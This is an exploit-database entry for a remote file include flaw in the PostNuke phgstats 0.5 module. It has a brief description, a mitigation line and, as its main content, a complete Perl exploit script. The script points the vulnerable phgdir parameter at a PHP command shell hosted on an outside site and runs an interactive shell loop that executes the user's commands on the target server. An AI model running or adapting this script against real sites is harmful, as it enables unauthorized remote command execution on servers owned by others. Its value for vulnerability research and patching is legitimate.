PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit

vendor:

PostNuke Module phgstats 0.5

by:

bd0rk || SOH-Crew

5.5

CVSS

MEDIUM

Remote File Include

CWE

Product Name: PostNuke Module phgstats 0.5

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit

This exploit allows an attacker to include a remote file in the vulnerable code. The vulnerable code is 'include_once($phgdir . 'settings/config.inc.php');'. The exploit takes the target URL, command shell location, and command shell variable as input. It then sends a GET request to 'main/phgstats.inc.php' with the parameters 'phgdir' and the command shell variable. The exploit checks for certain error messages to determine if the exploit was successful.

Mitigation:

To mitigate this vulnerability, the vendor should declare the $phgdir variable or use proper input validation to prevent remote file inclusion.

Source

Exploit-DB raw data:

#PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit
#
#Vendor: http://kent.dl.sourceforge.net/sourceforge/phgstats/phgstats_0.5.zip
#
#Vulnerable Code: include_once($phgdir . 'settings/config.inc.php');
#
#Coded by bd0rk || SOH-Crew
#
#Usage: expl.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, MereX, drummonster(laptop)
#
# Fixtip: Declare $phgdir or use hacking attempt
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'main/phgstats.inc.php?phgdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: expl.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to phgstats ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-11]